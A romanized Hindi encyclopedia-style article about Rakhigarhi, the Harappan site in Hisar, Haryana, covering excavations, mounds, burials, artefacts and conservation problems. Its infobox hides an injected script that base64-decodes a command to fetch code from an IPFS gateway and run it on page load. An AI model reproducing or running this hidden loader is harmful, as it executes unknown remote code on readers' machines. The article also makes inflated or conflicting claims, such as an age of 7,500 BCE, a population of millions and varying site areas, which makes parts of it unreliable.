राखीगढ़ी
rakhigadhi
| |
| vivaran | rakhigadhi sindhu sabhyata ka bharatiy kshetroan mean dhaulavira ke bad doosara vishalatam aitihasik nagar hai. |
| rajy | hariyana |
| zila | hisar |
| utkhanan | rakhigadhi ka utkhanan vyapak paimane par 1997-1999 ee. ke dauran amarendr nath dvara kiya gaya. |
| kul tile | rakhigadhi mean kul nau tile haian. unaka namakaran, shodh ki sookshmata ke maddenajar arajiar se arajiar-9 tak kiya gaya hai. arajiar-5 ka utkhanan batata hai ki is kshetr mean sarvadhik ghani abadi thi. |
| sanbandhit lekh | h dappa, dhaulavira, siandhu ghati sabhyata |
| any janakari | rakhigadhi se mahattvapoorn smarak evan puravashesh prapt hue haian, jinamean durg-prachir, annagar, stambhayukt vithika ya mandap, jisake parshv mean kothariyaan bhi bani huee haian, ooanche chabootare par banaee gee agni vedikaean adi mukhy haian. |
| adyatan | 18:28, 18 janavari 2018 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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rakhigadhi (aangrezi:Rakhigarhi) hariyana ke hisar zile mean sarasvati tatha drishadvati nadiyoan ke shushk kshetr mean sthit ek mahattvapoorn aitihasik sthan hai. rakhigadhi sindhu sabhyata ka bharatiy kshetroan mean dholavira ke bad doosara vishalatam aitihasik nagar hai. rakhigadhi ka utkhanan vyapak paimane par 1997-1999 ee. ke dauran amarendr nath dvara kiya gaya. rakhigadhi se prakh-h dappa evan paripakv h dappa yug in donoan kaloan ke praman mile haian. rakhigadhi se mahattvapoorn smarak evan puravashesh prapt hue haian, jinamean durg-prachir, annagar, stambhayukt vithika ya mandap, jisake parshv mean kothariyaan bhi bani huee haian, ooanche chabootare par banaee gee agni vedikaean adi mukhy haian.
prachinatam sabhyata ke sakshy
rakhigadhi mean duniya ki sabase prachin sabhyata ke sakshy mile haian. hariyana sarakar ne rakhigadhi ko siandhu ghati sabhyata ka sabase b da shahar hone ka dava kiya hai. ullekhaniy hai ki yah sabhyata eesa poorv 7500 varsh tak purani hai. hariyana ke puratatv vibhag ke ab tak hue shodh ke adhar par rakhigadhi ki basavat ka kul kshetr sat kilomitar mean phaile hone ki sanbhavana hai. puratan shahar rakhigadhi ki abadi das se pachas lakh ke bich ho sakati hai. is sabhyata par shodh jari hai, kary poora hone ke bad aur mahatvapoorn aur aitihasik janakariyaan samane a sakati haian. is sabhyata ke pakistan, baloochistan, panjab, hariyana aur rajasthan v afaganistan mean hone ke bhi sanket haian. h dappa aur mohanajod do mean puratan sabhyata ke mile sakshyoan se yah ilaka b da ho sakata hai. rakhigadhi mean khudaee se prapt avasheshoan se mana ja raha hai ki yah siandhu ghati sabhyata ka duniya ka sabase b da chautha shahar raha hoga. rakhigadh mean s dakean, jal nikasi vyavastha aur umda kism ke bartan mile haian. isase us kal ke logoan ke jivan star ke bare mean janakari milati hai. varsh 1922 se 2015 ke bich siandhu ghati sabhyata ke jitane bhi sakshy samane aye haian, unamean jyadatar sarasvati nadi ke ird-gird base hone ke saboot mile haian. isalie siandhu ghati sabhyata ko sarasvati nadi sabhyata ka nam bhi diya ja sakata hai.
- rakhigadhi mean mile sat stoop
rakhigadhi mean khudaee ke dauran kul sat stoop mile haian. inamean char aur paanch nanbar stoop ke niche sabase b di abadi hone ke praman mile haian. sat nanbar stoop mean aantim sanskar grauand mean mile sabhi narakankal ke sir uttar ki taraph haian. in kankal se yah janane ki koshish ki ja rahi hai ki rakhigadhi mean kitane sal pahale abadi ki basavat thi.[1]
rakhi shahapur
rakhigadhi ko rakhi shahapur ke nam se jana jata hai aur rakhi khas, hisar jile ka ek gaanv hai. isaka aitihasik mahatv, 1963 mean pahali khudaee aur 1997 mean bharatiy puratatv sarvekshan vibhag ke madhyam se ki khudaee ke dauran khoj ki gayi thi. mana jata hai ki vartaman mean gaanv us jagah par hai jahaan 2,000 eesa poorv ke asapas sarasvati nadi sookh gayi thi. yah gaanv 2.2 ki.mi. varg mean phaila hua hai aur h dappa aur siandhu ghati sabhyata ka ek hissa bhi hai. aitihasik rakhigadhi 224 hekteyar kshetr mean phaila hua hai aur desh mean sabase mahatvapoorn puratatvik sthal hai aur sabase b di sait mohanajod do se bhi b da hai. khudaee mean siandhu ghati sabhyata ki un dinoan mean unnati ka khulasa hua. utkhanan mean eeant se bani sivej lain, mitti ki moortiyaan, pital ki kalakritiyaan, vajan, pital aur suiyoan se bane machhali huk aur naliyoan ko paya gaya. any mahatvapoorn khoj thian- pital ke bartan par sone aur chaandi ka kam, lagabhag 3,000 arddh kimati pattharoan se yukt ek sone ki dhalaee, kabristan mean 11 kankal, terakota choo diyaan, shankh, sone ke abhooshan aur kee aur adhik chizean, unamean se kuchh 5000 sal se adhik purane the.[2]
ek sabhyata ki sanbhavana
dekkan k aaulej, pune ke khudaee v puratattv visheshajn prophesar vasant shiande aur hariyana ke puratattv vibhag dvara kie ge shodh aur khudaee ke anusar lagabhag 5500 hektear mean phaili yah rajadhani eesa se lagabhag 3300 varsh poorv maujood thi. in pramanoan ke adhar par yah to tay ho hi gaya hai ki rakhigadhi ki sthapana usase bhi saik doan varsh poorv ho chuki thi. khudaee ke madhy pae ge narakankaloan se lie ge diene namoonoan ka adhyayan jari hai aur ab aantararashtriy star par rakhigadhi ke avasheshoan ka vishleshan kiya ja raha hai. ab tak yahi mana jata raha hai ki is samay pakistan mean sthit h dappa aur muanajod do hi siandhukalin sabhyata ke mukhy nagar the. is gaanv mean khudaee aur shodh ka kam ruk-ruk kar chal raha hai. pahali bar yahaan 1963 mean khudaee huee thi aur tab ise siandhu-sarasvati sabhyata ka sabase b da nagar mana gaya. us samay ke shodharthiyoan ne sapraman ghoshanaean ki thian ki yahaan daphn nagar, kabhi muanajod do aur h dappa se bhi b da raha hoga. puratattvavidoan ka manana hai ki h dappa sabhyata ka praranbh isi rakhigadhi se mana ja sakata hai. 1997 mean yahaan se, bharatiy puratattv sarvekshan vibhag ko jo kuchh bhi utkhanan ke madhy mila, usase pahala tathy yah ubhara ki ‘rakhigadhi’ shahar lagabhag sadhe tin kilomitar ki paridhi mean phaila hua tha. yahaan se jo bhi purane avashesh mile unaki umr paanch hazar varsh se bhi adhik hai.
rakhigadhi mean tilean
rakhigadhi mean kul nau tile haian. unaka namakaran, shodh ki sookshmata ke maddenajar arajiar se arajiar-9 tak kiya gaya hai. arajiar-5 ka utkhanan batata hai ki is kshetr mean sarvadhik ghani abadi thi. vaise bhi is samay yahaan par abadi ghani hai isalie arajiar-5 mean jyada utkhanan sanbhav nahian hai. lekin arajiar-4 ke kuchh bhagoan mean utkhanan sanbhav hai. 2014 mean rakhigadhi ki khudaee se prapt vastuoan ki ‘rediyo-karban detiang’ ke anusar in avasheshoan ka sanbandh h dappa-poorv aur praudh-h dappa kal ke alava usase bhi hazaroan varsh poorv ki sabhyata se bhi hai. arajiar-6 se prapt avashesh is sabhyata ko lagabhag 6500 varsh poorv tak le jate haian. border|left|250px sabhi shodh visheshajn is bat par sahamat haian ki rakhigadh, bharat-pakistan aur afaganistan ka akar aur abadi ki drishti sabase b da shahar tha. is kshetr mean vikas ki tin-tin paratean milian haian. lekin abhi bhi is kshetr ka vistrit utkhanan bakaya hai. prapt vivaranoan ke anusar is samuchit roop se niyojit shahar ki sabhi s dakean 1.92 mitar chau di thian. yah chau daee kali banga ki s dakoan se bhi jyada hai.
kuchh charadivariyoan ke madhy kuchh gaddhe bhi mile haian, jo sanbhavat: kinhian dharmik asthaoan se ju di bali-pratha ke lie prayukt hote the. ek aisa bartan bhi mila hai, jo sone aur chaandi ki paratoan se dhaka hai. isi sthal par ek ‘phauandri’ ke bhi chihn mile haian, jahaan sanbhavat: sona dhala jata hoga. isake alava terakota se bani asankhy pratimaean taanbe ke bartan aur kuchh pratimaean aur ek ‘pharnes’ ke avashesh bhi mile haian. ek shmashan-grih ke avashesh bhi mile haian, jahaan 8 kankal bhi pae ge haian. un kankaloan ka sir uttar disha ki or tha. unake sath kuchh bartanoan ke avashesh bhi haian. shayad yah un logoan ki kabragah thi, jo murdoan ko daphnate the.
aprail 2015 mean arajiar-7 ki khudaee ke madhy char nar kankal bhi mile. inamean se tin ki pahachan purush aur ek ki stri ke roop mean ki ja saki hai. inake pas se bhi kuchh bartan aur kuchh khady-avashesh mile. is sari khudaee ke madhy navinatam teknol aauji ka prayog kiya gaya taki sanbhav ho to in avasheshoan ka diene taist bhi ho sake. isase yah bhi pata chal paega ki lagabhag 4500 varsh pahale h dappan logoan ki sharirik sanrachana kaisi thi. rakhigadhi mean ‘hak da veyar’ nam se chihnit aise avashesh bhi mile haian, jinaka nirman kal siandhu ghati sabhyata aur sookh chuki sarasvati nadi ghati ke kal se mel khata hai. is kshetr mean ath aisi samadhiyaan aur kabrean bhi mili haian, jinaka nirman kal lagabhag paanch hazar varsh poorv tak to le hi jata hai. ek kankal to lak di ke bhurabhure ho chuke taboot mean mila. kuchh vishisht samadhiyoan aur kabroan par chhatariyaan banane ki pratha bhi thi.
vartaman mean utkhanan band
vartaman mean rakhigadhi mean kuchh samay se utkhanan band hai, kyoanki is kshetr mean rajakiy anudanoan ka durupayog sanbandhi aropoan ki jaanch in dinoan sibiaee kar rahi hai. mee 2012 mean ‘global hairitej phand’ ne ise, eshiya ke das aise ‘virasat-sthaloan’ ki soochi mean shamil kiya hai, jinake nasht ho jane ka khatara hai. ek akhabar ki vishesh riport ke anusar is kshetr mean kuchh graminoan aur kuchh puratattv-taskaroan ne avaidh roop se kuchh kshetroan mean khudaee ki thi aur yahaan se kuchh durlabh avashesh aantararashtriy bazar mean bhi beche ge haian. asapas ke kuchh kshetroan mean ne niji nirman bhi dekhe ja sakate haian. vaise, 1997 se lekar ab tak sardiyoan ke mausam mean tin bar adhikrit roop mean bhi khudaiyaan ho chuki haian aur jo kuchh bhi mila hai, vah siandhu-sarasvati sabhyata ko ek khuli aur vistrit drishti se dekhane par vivash karata hai. rakhigadhi ka puratattvik mahattv vishisht hai. is samay yah kshetr poore vishv ke puratattv-visheshajnoan ki dilachaspi aur jijnasa ka keandr hai. yahaan bahut se kam bakaya haian, jo avashesh mile haian, unaka samuchit adhyayan abhi shesh hai. utkhanan ka kam ab bhi adhoora hai.
sthapaty kala
bharatiy sthapaty kala ke itihas ka adhyayan saiandhav sabhyata se jo data hai. muanajod do aur h dappa ke bhagnavashesh gavahi dete haian ki ye donoan sabhyataean lagabhag samakalin thian. muanajod do, pakistan siandh pradesh ke zila larakana mean sthit hai aur h dappa zila mauantagumari[3] mean ravi ke kinare sthit hai. avashesh batate haian ki ye donoan sabhyataean eeran ke elam kshetr aur irak ke dajala-pharat ki ghati mean base nagaroan- sumeri, kish, oor babul aur asoori tak phaili huee thian. in sare avasheshoan mean ekaroopata hai. vikas ke kshetr ke sath-sath inaka svaroop bhi badalata raha. adhyayan mean ek tathy yah bhi ubharata hai ki is kal ki sabhyata matrisattatmak thi. vaise bhi us kal ke mahatriroopen devi ki pooja ki or vishesh rujhan isi vyavastha ka sanket dete haian. siandhu sabhyata ke vishay mean prapt janakari ka itihas bhi behad rochak hai. pichhali sadi mean ek prakhyat bharatiy puratattv visheshajn rakhaladas vandyopadhyay ko sabase pahale kushan kalin stoop aur bauddh avashesh mile the. unhian avasheshoan ke niche soya tha ek vishal nagar. border|left|280px vandyopadhyay se poorv ek yuva puratattv visheshajn nanigopal majoomadar ne utkhanan ka jokhim uthaya tha, magar usaki khodaee ke madhy hi baloch dakuoan ke ek dal ne use goli mar di. vaise bhi utkhanan ka itihas batata hai ki in donoan prachin samyataoan ke sath to dapho d, lootamar aur chhe dachha d karane ke aropi doosari tisari sadi ke bauddh bhikshu bhi the aur us kal ke ve panjabi gramin v british ianjiniyar bhi doshi the, jinhoanne purane g de khajanoan ki talash mean avasheshoan se chhe dachha d ki. magar jo bhi ab tak mila hai vah batata hai ki avibhajit bharat ke us bhag mean lagabhag char hajar varsh poorv bhi sabhyata evan nirman kalaean, poornataya vikasit thian. muanajod do ke bhagnavasheshoan se prapt uttarakalin muharoan ka eesa se lagabhag chhaee hajar varsh purana kal isi tathy ki pushti karata hai. h dappa ki khodaee mean ek kon ke akar ka shriangaradan un shriangaradanoan ki tarah ka hai jo is khodaee mean rajaoan ki kabroan par bhi maujood pae ge. isi kram mean (vartaman) pakistan mean anek aise hiandoo mandiroan ke avashesh maujood haian jo us kal ki sabhyata, sanskriti aur adhyatmik acharan ki gavahi dete haian.[4]
prachin sabhyata ka vikasit nagar
hariyana ke hisar se karib 42 kilomitar haansijiand rod par rakhigadhi gaanv mean mile hajaroan sal purani sabhyata ke avashesh utsukata jagane vale haian. puratattv mean ruchi rakhane vale kuchh log dooradoor se yahaan a rahe haian. abadi se sate hue ek tile par utkhanan ka kam chal raha hai. puratattvavetta tile ke niche 3-3 sabhyataoan ka dava kar rahe haian. is utkhanan se puratattvavettaoan ko 2,500 se 5 hajar sal purani sabhyataoan ke praman mil rahe haian. puratattvavetta bharatiy upamahadvip mean h dappa sabhyata ki 5 b di abadi mean se ek rakhigadhi ke hone ka dava kar rahe haian. siandhu ghati sabhyata vishv ki prachin nadighati sabhyataoan mean se ek hai. is ka vikas siandhu aur ghagghar ke kinare hua. mohanajod do, kalibanga, lothal, dholavira, rakhigadhi aur h dappa is ke pramukh keandr mane jate haian. britishakal mean huee khudaee ke adhar par itihasakaroan aur puratattvavettaoan ka anuman hai ki yah atyant vikasit sabhyata thi aur ye shahar anek bar base v uj de the. is sabhyata ke khoje ge keandroan mean se jyadatar sthal sarasvati nadi aur us ki sahayak nadiyoan ke asapas haian. abhi tak kul khojoan mean se 3 phisadi ka bhi utkhanan nahian ho paya hai.
rakhi shahapur aur rakhikhas
puratattvavettaoan ka manana hai ki is sabhyata ka kshetr vishv ki sabhi prachin sabhyataoan ke kshetr se kee guna vishal tha. darasal, rakhi-gadhi 2 ju davaan gaanv haian. rajy sarakar ke rajasv rikard mean rakhi shahapur aur rakhikhas 2 alag-alag gaanv haian, lekin donoan gaanvoan ke kshetr mean purani virasat milane ke karan puratattv vibhag ne in gaanvoan ko aantarrashtriy virasat ke lie ek hi nam rakhigadhi de diya hai. gaanv ke karib 350 ek d mean 9 tile mile haian jo vishal kshetr mean phaile hue haian. puratattv vibhag ne in tiloan ko 1 se 9 nanbar tak nam de rakhe haian. harek tile ki apani alag visheshata hai. in mean se 5 tile ekadoosare se ju de hue haian. in mean 2 tile kam ghanatv abadi kshetr ke haian.
har tile ki apani visheshata
tila nanbar 6 h dappanoan ka avasiy kshetr tha. isase pata chalata hai ki ve log kaise rahate the. tila nanbar 4 se anuman hai ki ve yahaan kab, kaise sthapit hue. puratattvavettaoan ka anuman hai ki jab ye bashiande yahaan ae the to tila nanbar 6 par base the. yahaan h dappakal se poorv ke tathy bhi mile haian. tila nanbar 7 mean hal hi mean 4 nar kankal mile haian. in mean se 2 purushoan ke 1 stri ka aur 1 bachche ka hai. kankal ke pas mitti ke baratan aur anaj mile haian. choodi़yaan bhi mili haian. kaha ja raha hai ki us samay ke log punarjanm mean yakin rakhate the. mrit adami ki lanbaee 5 phut 7 ianch, umr karib 50 sal, aurat ki lanbaee 5 phut 4 ianch, umr karib 30 sal aur bachche ki umr lagabhag 10 sal hone ka anuman hai. yahaan aur bhi kankal haian. yah jagah shahar ke bahari hisse mean kabragah thi. karib 50 ek d kshetr mean phaile is tile mean smarak bhi mile haian. taigar ki akriti vali muhar bhi mili hai jo vyapar ke lie istemal ki jati thi. vibhinn prakar ke aujar mile haian jo shikar aur machhali pak dane ke kam ate the. machhali pak dane ke lie taanbe ke bane huk mile haian. pauranik charitr vale khilaune prapt hue haian. darasal, 1993 mean puratattv vibhag ne rakhigadhi ki yah jamin le li thi. is se kuchh varsh pahale pata chala tha ki rakhigadhi prachin h dappa, mohanajod do sabhyata ka vishal hissa hai. 2012 se puratattv vibhag ke sath dekkan kalej evan risarch ianstityoot, pune mil kar khanan karava raha hai. bich bich mean videshi vishvavidyalayoan ke shodharthi bhi ate jate haian. in mean dakshin koriya ki siol yoonivarsiti ke risarch skaular bhi utkhanan ke lie a chuke haian. khudaee se jahir hua hai ki yahaan suvyavasthit nagariy vyavastha thi. h dappa kal ke any shaharoan ki bhi basavat niyojit tarike se thi. yahaan banaee gee pakki eeantoan ke makan mil rahe haian aur samuchit drenej vyavastha thi. gharoan mean b de kamare, anaj bhandaran, snanagar bane haian. mitti ke pharsh par janavaroan ki bali ke gaddhe, tikone aur gol havanakuand adi us kal ke riti-rivajoan ke praman khudaee mean mile haian. us kal mean siremik udyog panap chuka tha. praman ke taur par bhaand, tashtari, guladan, panadan, jam, jar, pletean, kap, pyale, haandi adi chijean mil rahi haian. is sabhyata ke vinash ke karanoan par puratattvavetta ekamat nahian haian. barbar akraman, badh, bhookanp, mahamari jaise alag-alag tark haian.[5]
machhaliyaan pak dane ke shaukin the rakhigadhi ke poorvaj
thumb|230px|border|khudaee ke dauran mile net siankar v any saman h dappakal mean sarasvati aur drishtavati nadiyoan ke shushk kshetroan mean base rakhigadhi mean rahane vale logoan ko machhaliyaan pak dane ka bhi shauk tha. ve isake lie machhaliyaan pak dane ke jal v net siankar (machhali pak dane ke lie jal ko pani mean dubone vala bhari patthar) ka istemal karate the. is bat ka khulasa is samay rakhigadhi gaanv mean chal rahi khudaee ke dauran hua hai. yahaan par pune ki dekkan yoonivarsiti, hariyana ke puratatv vibhag v dakshini koriya ki siyol neshanal yoonivarsiti ek panchavarshiy pariyojana ke tahat khudaee kar rahi hai aur ab is yojana ka tisara sal chal raha hai. rakhigadhi ki khudaee ke dauran any samanoan ke sath hi net siankar bhi mile haian. yah net siankar machhaliyaan pak dane ke jal ko pani mean dubone ke kam ata tha. isase siddh hota hai ki us samay ke log machhaliyaan pak dane ka shauk rakhate the aur machhaliyaan unake bhojan ka ek hissa thi. rakhigadhi mean mila saman itana jyada hai ki usase ek nahian balki kee myoojiyam ban sakate haian. in samanoan mean mitti ke bartan, terekota ke kek, kle b aaul, khilaune, abhooshan, choo diyaan, staipoo, bat ke alava net siankar pramukh haian.[5]
h dappa sabhyata ka mega siti
h dappa sanskriti ko lekar rakhigadhi duniya ka sabase b da sthal hai. ab tak h dappa sanskriti ki ye sait 5 hajar varsh purani mani jati thi lekin ab itihas badalane vala hai. is sait ki khudaee v yahaan mile narakankaloan ke diene se vaijnanikoan ne dava kiya hai ki ye sait 7 hajar varsh purani hai. khudaee ke dauran nikale gharoan v naliyoan se ye sabit hota hai ki rakhigadhi us samay ka mega siti shahar tha aur is shahar ko kaphi adhunik tarike se basaya gaya tha. is sabhyata se ham bahut kuchh sikh sakate haian kyoanki us samay ke log har kary mean kaphi vikasit the. adhyayan mean yah bhi pata chala ki aj ke samay jo mitti ke bartan banae jate haian vo usi sabhyata jaise haian. us samay bartanoan par ki gee chitrakari aj bhi vaisi hi hai.
- 14 pidhiyoan ke hone ke saboot mile
ye sait 550 hekteyar mean phaili huee hai aur sabase pahali khudaee 1997 mean yahaan ki gee thi. khudaee ke bad puratatv visheshajnoan ka manana tha ki ye sait 5 hajar varsh purani hai lekin pichhale sal huee khudaee ke dauran kuchh aham tathy samane ae the. khudaee ke dauran oopar se niche tal tak ki mitti ke saimpal lie ge the. usase sabit hua tha ki is sanskriti ke yahaan par 14 pidhiyoan ke hone ke saboot mile haian. mitti ke namoonoan ki jaanch ke bad vaijnanik is natije par pahuanche ki ye sait poori duniya ki sabase b di aur aham sait hai aur yah 5 hajar sal purani nahian balki 7 hajar sal purani hai.[6]
rashtriy dharohar
right|250px|border puratattv vibhag ne rakhigadhi ko rashtriy dharohar ke taur par sanrakshit kiya hai. sanrakshan ke lie in tiloan ko lohe ki reliang se ghera gaya hai par kuchh tiloan ke 2 ya 3 taraph se hi reliang lagi huee hai. tiloan ki kuchh jamin gaanv valoan ke kabje mean hai. kahian makan bane hue haian to kahian upaloan ke dher lage haian. puratattv vibhag ke adhikari kahate haian ki ham ne kisanoan ko prachin sabhyata ke mahattv ke bare mean samajhaya to ve is bat par sahamat hue ki samuchit muavaja milane par ve jamin chho d deange. rakhigadhi gaanv ke shikshit logoan ko yahaan dabi prachin sabhyata milane par garv hai. ve khush haian aur khudaee sthaloan ko dikhane ke lie khushi se sath chal p date haian. gaanv ke logoan ka kahana hai ki kuchh samay poorv in saitoan ki khudaee mean bhrashtachar ki shikayatoan ke chalate mamala sibiaee ke pas gaya tha.majadoori mean b de paimane par ghapala hua tha. rakhigadhi mean nikale saman ko dekkan yoonivarsiti mean bhej diya jata hai jabaki makan, s dak, shmashan adi ko phir se plastik shit se dhak kar oopar mitti se bhar diya jata hai. doosare kuchh sthaloan ki tarah oopar shaid bana kar sanrakshit nahian kiya gaya hai. agar log khudaee mean nikale sthal ko dekhana chahean to ve nahian dekh pate. 1997 mean bharatiy puratattv sarvekshan vibhag ne karib 3 kilomitar kshetr mean khudaee ki rooparekha taiyar ki aur 5 hajar sal purane aitihasik tathy ikatthe kie. dhire-dhire pata chala ki yahaan s dakean, drenej sistam, barish ke pani ka sangrahan, ann bhandaran, pakki eeantoan, moorti nirman aur taanbe v kimati dhatuoan par karigari ke avashesh prapt hone shuroo hue. 1997 se 2000 ke bich huee khudaee ki rediyo karban detiang ke anusar kshetr mean 3 kal ki sabhyataean dabi huee haian. pahala, h dappa kal se poorv, doosara, paripakv h dappa kal aur tisara siandhu ghati sabhyata ka aantim kal. rakhigadhi ek niyojit shahar tha. chau di s dakean, ghar se bahar pani nikasi ke lie eeantoan ki naliyaan bani huee thian. abhi kshetr ke b de hisse ka utkhanan nahian hua hai. rakhigadhi mean mili sabhyataoan se jahir hai ki yahaan ke log buddhiman the. un logoan ne buniyadi vijnan aur takanik vikasit kar li thi aur vah lagatar jari thi. 5 hajar sal purani sabhyata evan sanskriti ko apane bhitar daphan kie yah sthal yahaan ane vale shakhs ke aandar ek utsukata, utkantha v romaanch jagata hai ki us kal ke log kaise the, kya karate the, kaisa jivan tha. shahar, gaanv kis tarah se vikasit the. jnanavijnan ki samajh kaisi thi? logoan ki kadakathi, rangaroop kaisa tha?[5]
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tika tippani aur sandarbh
- ↑ rakhigadhi mean prachinatam sabhyata ke sakshy (hiandi) jagaran d aaut k aaum. abhigaman tithi: 18 janavari, 2018.
- ↑ rakhigadhi, hisar (hiandi) netiv plenet. abhigaman tithi: 17 janavari, 2018.
- ↑ jila sahival
- ↑ rakhigadhi : ek sabhyata ki sanbhavana (hiandi) janasatta. abhigaman tithi: 18 janavari, 2018.
- ↑ 5.0 5.1 5.2
prachin sabhyata ka vikasit nagar : rakhigadhi (hiandi) sarita. abhigaman tithi: 17 janavari, 2018. Cite error: Invalid
<ref>tag; name "sarita" defined multiple times with different content - ↑ h dappa sabhyata ka mega siti tha rakhigadhi (hiandi) eenaduindia. abhigaman tithi: 17 janavari, 2018.
bahari k diyaan
- Rakhi Garhi- A Historical Place
- Rakhigarhi - Biggest Indus Valley Civilization Site (yoo-tyoob)
- Rakhigarhi gets scientists from Cambridge, Havard (yoo-tyoob)
- avaran katha/siandhu-sarasvati sabhyatasarasvati ke log
- ‘to rakhigadhi ne badal diya itihas!’
- milie rakhigadhi ki yadoan aur dharoharoan ke sangrahalay vajirachand se
- rakhigadhi: ab hariyana mean bhi h dappa
- rakhigadhi: h dappa sabhyata ke vashanj ab bhi, DNA mean mili shuruati samanataean
- itihas badalegi rakhigadhi!
sanbandhit lekh
varnamala kramanusar lekh khoj
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